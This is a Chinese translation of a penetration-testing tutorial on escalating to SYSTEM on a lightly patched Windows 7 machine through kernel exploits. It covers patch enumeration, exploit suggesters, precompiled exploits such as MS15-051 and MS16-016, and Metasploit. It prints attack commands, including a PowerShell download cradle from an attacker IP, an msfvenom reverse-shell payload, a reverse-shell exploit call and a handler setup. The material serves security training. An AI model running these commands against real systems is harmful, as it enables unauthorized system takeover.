Windows 提权-内核利用_1

news/2025/3/13 8:04:45/文章来源:https://www.cnblogs.com/kqdssheng/p/18765857

本文通过 Google 翻译 Kernel Exploits Part 1 – Windows Privilege Escalation 这篇文章所产生,本人仅是对机器翻译中部分表达别扭的字词进行了校正及个别注释补充。


导航

  • 0 前言
  • 1 旧版 Windows 系统内核利用
  • 2 搜寻内核漏洞
    • 2.1 枚举内核利用 - 手动
    • 2.2 枚举内核利用 - 自动
      • 2.2.1 Windows Exploit Suggester 2
      • 2.2.2 Sherlock.ps1
  • 3 使用内核利用
    • 3.1 使用内核利用 - GUI
    • 3.2 使用内核利用 - Reverse Shell
  • 4 通过 Metasploit 查找及使用内核利用

0、前言

由于 Windows 内核利用的信息量比较大,故将本篇文章分成了两个部分。

在第一部分内容中,我们将介绍如何在旧版 Windows 系统中进行内核利用。

我们从打了最少补丁的 Windows 7 机器开始测试,然后使用各种检测内核利用的方法去枚举它容易受到哪些内核漏洞的攻击。在找到潜在漏洞后,我们将测试相应的漏洞利用,看看它们是如何工作的。在测试漏洞利用期间,我们将看到 6 个测试示例,它们展示了如何从 GUI、从反向 shell 和使用 Metasploit 的方式去提升普通权限到 SYSTEM。

注:文中出现了较多的“内核漏洞”和“内核利用”等字眼,因此有必要搞清二者之间的关系。其实内核利用是内核漏洞的实例,漏洞是一个概念,漏洞利用是实践。

1、旧版 Windows 系统内核利用

Windows 内核利用按照 OS 版本又可以分为两个类:旧版 Windows 系统、新版 Windows 系统。其中 Windows 10/Server 2016/Server 2019/ 其它更新版本 都称为新版 Windows 系统,而在此之前的 Windows XP/7/Server 2008/Server 2012/其它更旧版本 都称为旧版 Windows 系统。

对于本文,我们将研究旧版 Windows 系统的内核利用,测试机器是仅安装了一个补丁的 Windows 7 SP1 7601。

2、搜寻内核漏洞

在此示例中,假设我们已经在 Windows 7 机器上获得了标准用户 bob 的身份。

2.1、枚举内核利用 - 手动

在枚举内核漏洞利用前,我们首先要做的是使用 systeminfo 命令查看系统的信息,其中重点关注 操作系统版本、架构,以及最关键 HotFixes(KB)这些信息。

从上面可以看到,该主机是 Windows 7 Pro – SP1 7601 – x86 (32-bit) 系统,同时该主机只有一个补丁。

为了收集有关补丁的更多信息,可以使用以下 wmic 命令:

wmic qfe get Caption,Description,HotFixID,InstalledOn

由于微软给每个内核漏洞都起了一个名称作为标识,而名称中又包括发现漏洞的年份,因此补丁的发布日期很值得注意。【例如 MS10-059(2010)表示该漏洞是在 2010 年的第 59 个安全公告中发布的,而该公告确切的发布时间是2010年8月10日。】

注意:补丁的发布日期和通过 wmic 发现的补丁安装时间可不是同一回事,作者的意思应该是根据补丁 KB 号码去查找该补丁实际的发布时间,然后根据这个时间去排除这个日期范围内的内核漏洞利用程序【因为补丁和漏洞的披露通常来说是先发补丁后发漏洞或同时发布,当然这也不绝对。】。例如,补丁如果是2000年发布的,那么2000年之后的系统漏洞就是可以被利用的。当然如果补丁的安装时间是在2000年,那么这个漏洞肯定是在2000年或2000年之前发布的,那么使用2000年之后的漏洞大概率也是有效的。

从这里,我们可以开始分析系统安装有哪些补丁,然后搜索 KB 号,以确定由于该补丁而无法使用的内核利用。

这种手动枚举的方式对于安装了少量的补丁来说,效果很好。但是,如果安装了几百个补丁, 那手工的方式显然就不再适合了。

2.2、枚举内核利用 - 自动

有两个工具可以很好地枚举旧版 Windows 系统的内核利用,第一个是Windows Exploit Suggester 2,第二个是 sherlock.ps1。

这两种工具的工作原理都是将受害者已安装的补丁与这些补丁库中已打补丁的漏洞列表进行交叉引用。以此为基础,这些工具将从输出中排除已打补丁的漏洞,只提供主机未打补丁的漏洞。

在测试内核利用时,使用自动工具有助于消除大部分猜测。【注:当然工具也会存在遗漏的情况。】

2.2.1、Windows Exploit Suggester 2

使用的第一个工具是 Windows Exploit Suggester 2,它是一个 Python 脚本。在攻击者机器上使用此脚本前,我们需要先获取受害者机器上的 systeminfo 系统信息,以及补丁库的文件。

现在,我们已经准备好了受害者的系统信息 txt 文件,还可以更新补丁库 XLS 文件,以确保补丁列表是最新的。不过,由于这是一个只安装了一个补丁的旧操作系统,因此不需要更新补丁库文件,因为 2021 年 4 月前的补丁库已经足够满足当前的需要了。

可以使用以下命令运行 Windows Exploit Suggester:

./windows-exploit-suggester.py --database 2021-04-16-mssb.xls --systeminfo win7.txt

输出内容有很多,但大部分信息对我们来说并没有用。同时,该工具还提供了一个标识说明(E|M|*),以告诉我们对应的系统漏洞是否有二进制或 Metasploit 模块可供使用。

于是,我们就可以根据提供的标识进行内容过滤,让其只筛选出我们感兴趣的信息,这些信息通常包含有 [M]或[E]或“Elevation of privileges”字段。

./windows-exploit-suggester.py --database 2021-04-16-mssb.xls --systeminfo win7.txt | grep "\[M\]\|\[E\]" | grep "Elevation"

最终,我们得到了一个可供测试的漏洞清单。

2.2.2、Sherlock.ps1

Sherlock 是一个 PowerShell 脚本,可快速找到用于本地特权提升的漏洞利用。

Sherlock(夏洛克)已经被弃用大约 5 年了,并且也是从那时起就被Watson.exe(华生)所取代,Watson.exe 是一个用于枚举新版 Windows OS'(10/2016/2019)的工具,我们将在这篇文章的第二部分中看到它。

回到 Sherlock,我们可以利用 Sherlock 在旧版 Windows 系统上枚举内核漏洞。而当前正处在 Windows 7 机器上,因此这个工具对我们来说非常适合。

现在,在 Sherlock.ps1 脚本底部附加以下命令,以便脚本的枚举漏洞功能可以被自动执行:

echo "Find-AllVulns" >> Sherlock.ps1

Perfect!现在,我们可以将 sherlock.ps1 下载到受害者磁盘上,然后执行该脚本。或者可以开启 HTTP 服务器,然后将脚本直接下载到内存中进行执行。

我们使用后一种,先在攻击机开启 HTTP 服务器:

python3 -m http.server 80

然后在受害者机器上,执行以下 IEX 命令将脚本从攻击者计算机直接下载到内存中执行:

powershell.exe -c "iex(new-object net.webclient).downloadstring('http://172.16.1.30/Sherlock.ps1')"

Sherlock 会根据已安装的补丁程序,提取所有可能存在的漏洞。同时,它还会进一步告诉你系统是否容易受到该漏洞的攻击。

3、使用内核利用

现在,我们已经知道了该如何枚举内核漏洞利用,接下来就可以根据枚举出来的漏洞利用去该仓库查找可用的利用程序以进行测试。

在内核利用列表中,你会发现大多数利用程序都会以 SYSTEM 的身份生成一个新的 cmd.exe 实例。虽然这很好,但只有我们在 GUI 图形化界面来查看 shell 的情况下才实用。但幸运的是,很多利用都支持“就地”提升或产生反向 shell,因此在实际测试这些利用时会同时展示这两种情况。

现在,让我们通过图形化界面和反向 shell 测试一些漏洞,看看两者有什么不同。

3.1、使用内核利用 - GUI

假设我们在最初的枚举中找到了用户 bob 的凭据,同时发现 RDP 开放且bob 还是远程桌面用户组的一部分。然后,我们成功地通过 RDP 访问了该主机。

由于在内核利用列表上的大多数利用程序都会产生 cmd.exe 的新实例,因此当我们可以使用主机的图形化界面时,内核利用会非常简单。

示例0】例如,从 Suggester 和 Sherlock 的输出来看,同时在两款工具中都出现的漏洞有 MS15-051 和 MS16-016。

因此,我们可以在内核利用列表中优先检查它俩是否被列出。

可以看到,两个漏洞都被列出了。现在,让我们只下载 MS15-051 然后将其发送给受害者。

MS15-051 的预编译二进制文件被称为 Taihou32.exe,但在将其转移给受害者之前,我先将其重命名为 MS15-051.exe。

现在,当运行可执行文件时,新的 shell 以 SYSTEM 身份产生了!

就这么简单!

3.2、使用内核利用 - Reverse Shell

上面我们只是看到了如何轻松地从 GUI 获得 SYSTEM shell,但通常我们是没有 GUI 访问权限的。

幸运的是,有不少漏洞利用程序可以通过反向 shell 运行,或“就地”提升至 SYSTEM。这意味着漏洞利用者可以在当前会话中直接升级到 SYSTEM,而无需再生成第二个 cmd 窗口。

示例1】首先,让我们检查一下在 Sherlock 和 Suggester 上出现的第二个漏洞:MS16-016。

我们先获取此利用程序,然后将其传输到受害者机器上。

MS16-016 的预编译二进制文件被称为 eop.exe,但在将其转移给受害者之前,我先将其重命名为 MS16-016.exe。

需要注意的是,MS16-016 二进制程序是需要 ShellCode.dll 文件才能工作。因此,我们要将两个文件转移到受害者机器。

现在,我们可以执行 MS16-016.exe。

Amazing!在当前的会话中,我们得到了一个 SYSTEM shell。

由于我们对这种内核漏洞利用(即“就地”提升)最感兴趣,所以让我们再看看另外两种内核漏洞利用,它们也可以被用来做同样的事情。

这次,我们将看到一个在 Sherlock 和 Suggester 扫描中均未出现的漏洞,它就是:MS11-046。

既然该漏洞没有在任何一种工具的输出中出现,那为什么还要去尝试一下呢?因为我们可以看到,当运行 wmic 命令时,已安装日期显示的是 2010年11月,也就是说这个补丁在2010年11月前就已经发布了,这也意味着任何等于或大于 MS11 的漏洞利用都值得我们去尝试。【注:根据补丁安装日期去判断漏洞的做法虽然不是很准确,但在无有效解法之前也是值得去尝试的。】

示例2】因此,让我们测试它!

BOOM!我们得到了另外一个 SYSTEM shell。

示例3】接下来,我们开始另一个例子。可以看到,在 Suggester 的输出中显示 MS14-040.exe 可以被使用。

当执行这个利用的时候,它会被挂起。当我们等待大约 20 秒,然后按两次回车键,就会得到 SYSTEM shell。

示例4】最后一个例子在当前这台 win7 机器上不存在漏洞,但它也是一个很好的内核漏洞,那就是 MS10-059 或 "Chimichurri"。

注:下面的示例是在 hackthebox 的盒子上进行的。

将漏洞利用程序传输给受害者之后,我们可以尝试直接运行它以查看其命令用法:

这个利用程序会向攻击者的机器推送一个反向 shell,这与我们刚才看到的“就地”提升示例有些不同。这意味着我们需要在攻击者机器上启动一个 netcat 监听器。

.\MS10-059.exe 10.10.14.6 9999

执行命令后会出现一条很令人高兴的提示信息。然后回到监听器后,我们收到了一个 SYSTEM shell!

我给你举了 4 个例子,但还有很多从反向 shell 运行的例子需要你自己去发现去测试🙂。提示:在内核利用列表中的漏洞利用程序有时候会附带工具使用截图,我们可以从截图中看出该漏洞利用是不是以反向 shell 的方式去使用的。

4、通过 Metasploit 查找及使用内核利用

示例5】Metasploit 是通过内核利用来提升权限的绝佳工具。

借助 Metasploit,我们可以使用其内置的本地漏洞利用建议模块(Local Exploit Suggester)来列举潜在可用的内核利用。之后,我们就可以在 Metasploit 中逐一去测试它们,因为它显示出来的漏洞利用都是在 Metasploit 中实际存在的模块。

要升级当前我们获得的立足点的 cmd shell 到 Meterpreter shel,我们可以快速生成一个有效载荷,然后将其转移给受害者,例如:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.16.1.30 LPORT=443 -a x86 --platform Windows -f exe -o meter86.exe

接下来,我们需要在 Metasploit 中启动一个 multi-handler 监听器:

msfconsole -q -x "use exploit/multi/handler;set payload windows/meterpreter/reverse_tcp;set LHOST 172.16.1.30;set LPORT 443;exploit;"

然后在受害者机器上执行该载荷。

最后,回到 multi-handler 监听器,可以看到有一个 meterpreter shell 产生了。

新产生的 meterpreter 的会话编号是 1,这很重要,我们需要记住这个编号。

从这里开始,我们需要使用以下命令来加载 Local Exploit Suggester 模块。

background
search suggester
use 0
set SESSION 1
exploit

大约 30 秒后,Metasploit 会列出我们可以用来对付这台主机的潜在内核漏洞利用。

现在,我们需要逐一对这些漏洞进行测试,直到获得 SYSTEM shell 为止。在这里,我们跳过测试 UAC 绕过和 MS10-XXX 相关的模块,直接从 MS13-053 模块开始测试。【注:这里主要优先以内核漏洞利用为主,所以 UAC 相关模块直接跳过;因为那个补丁的原因,所以我们知道 MS10-XXX 模块在这台机器上大概率是无法使用的,故直接跳过。】

对于所有这些漏洞利用模块,我们都需要设置 LHOST、LPORT 和 SESSION 字段。LPORT 必须不同于前面获取 Meterpreter 会话时使用的 443 端口。

Kitrap0d 是一个非常可靠的内核利用,但对于当前这台机器是无效的。

use exploit/windows/local/ms13_053_schlamperei
set LHOST 172.16.1.30
set LPORT 8080
set SESSION 1
exploit

经过几次不断的尝试,我们最终成功获得了 SYSTEM shell!

对于 Suggester 为我们找到的大多数内核漏洞,只要它显示“The target appears to be vulnerable”,那就很有可能会被成功提升到 SYSTEM。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/897379.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

探秘Transformer系列之(12)--- 多头自注意力

从零开始解析Transformer,目标是:(1) 解析Transformer如何运作,以及为何如此运作,让新同学可以入门;(2) 力争融入一些比较新的或者有特色的论文或者理念,让老鸟也可以有所收获。探秘Transformer系列之(12)--- 多头自注意力 目录探秘Transformer系列之(12)--- 多头自注…

设备与onenet服务器之间的mqtt通讯

设备与onenet服务器之间的通讯 1. 登录onenet平台2.创建产品3.设备管理 1)创建两个进行测试功能4.MQTTfx测试password计算工具官网下载:OneNET - 中国移动物联网开放平台1)订阅属性上报结果通知消息 Subscribe的topic: $sys/改成自己的产品ID/改成自己的设备名称/thing/pro…

设计一个优秀 API 的秘诀

本指南深入探讨了顶级 API 设计,强调了它不仅仅是代码的集合。一个设计良好的 API 就像五星级礼宾服务,能够顺畅地引导用户达到他们的预期目标。拿起一杯咖啡,让我们一起探索创建一个功能强大、用户友好的 API 的秘诀吧! 理解 API 基础第一步:拥抱 REST - API 设计的基础 …

T428497 请不要抢走爱丽丝的工作! 题解

T428497 请不要抢走爱丽丝的工作! 题解题目传送门 本题要求扫地机器人半径 \(r\) 的最大值,既然要求最大值,容易想到二分答案。 那问题就转换为给定半径 \(R\) , 判断 \(R\) 满不满足条件,也就是能不能找到一条绕过所有障碍的路径。让我们逆转一下思维,考虑哪些区域是机器…

个人作业:软件案例分析

个人作业:软件案例分析项目 内容这个作业属于哪个课程 首页 - 2025年春季软件工程(罗杰、任健) - 北京航空航天大学 - 班级博客 - 博客园这个作业的要求在哪里 [I.2] 个人作业:软件案例分析我在这个课程的目标是 学习软件开发流程,完成一次完整的软件开发经历,提高开发和…

API 调试与管理工具选型思考:Apifox vs Apipost,企业究竟该如何选择

在企业级 API 调试与管理场景中,选择一款高效的工具至关重要。市面上的调试工具琳琅满目,而 Apifox 和 Apipost 是近几年两款备受开发者关注的 API 工具。二者都宣称为团队协作和接口调试赋能,但对企业来说,究竟谁才是更适合的选择呢?本文将从功能对比、用户体验、企业适配…

pos_cli 命令是如何运行起来的

追踪pos_cli --dump --dir /root/ckpt --pid [your program pid] 是如何运行的 pos_cli是通过mason,由sources包括的这些文件构建而来 #pos/cli/meson.buildproject_name = phoenix_os_cli project_name_abbreviation = pos_cli scan_src_path = meson.current_source_dir() +…

Tavus 发布对话轮次控制模型:能理解对话节奏和意图;百度推出 AI 情感陪伴应用月匣,整合 MiniMax 等模型丨日报

开发者朋友们大家好:这里是 「RTE 开发者日报」 ,每天和大家一起看新闻、聊八卦。我们的社区编辑团队会整理分享 RTE(Real-Time Engagement) 领域内「有话题的 技术 」、「有亮点的 产品 」、「有思考的 文章 」、「有态度的 观点 」、「有看点的 活动 」,但内容仅代表编辑…

clickhouse 25.2.1 集群部署

依赖条件 sysctl.conf echo "kernel.threads-max = 262144" >> /etc/sysctl.conf && sysctl -p Huge Pages(按需修改) 编辑 /etc/default/grub,在 GRUB_CMDLINE_LINUX 参数中添加: GRUB_CMDLINE_LINUX="... transparent_hugepage=never"…

可视化图解算法:链表指定区间反转

对于链表的相关操作,我们总结了一套【可视化+图解】方法,依据此方法来解决链表相关问题,链表操作变得易于理解,写出来的代码可读性高也不容易出错。1. 题目 描述 给你单链表的头指针 head 和两个整数 left 和 right ,其中 left <= right 。请你反转从位置 left 到位置 …

ov5640原理讲解

Camera开发-OV5640(MIPI)-CSDN博客

[I.2] 个人作业:软件案例分析

[I.2] 个人作业:软件案例分析项目 内容这个作业属于哪个工程 https://edu.cnblogs.com/campus/buaa/BUAA_SE_2025_LR这个作业的要求在哪里 https://edu.cnblogs.com/campus/buaa/BUAA_SE_2025_LR/homework/13367我在这个课程的目标是 学习团队软件开发方式, 丰富开发经验这个作…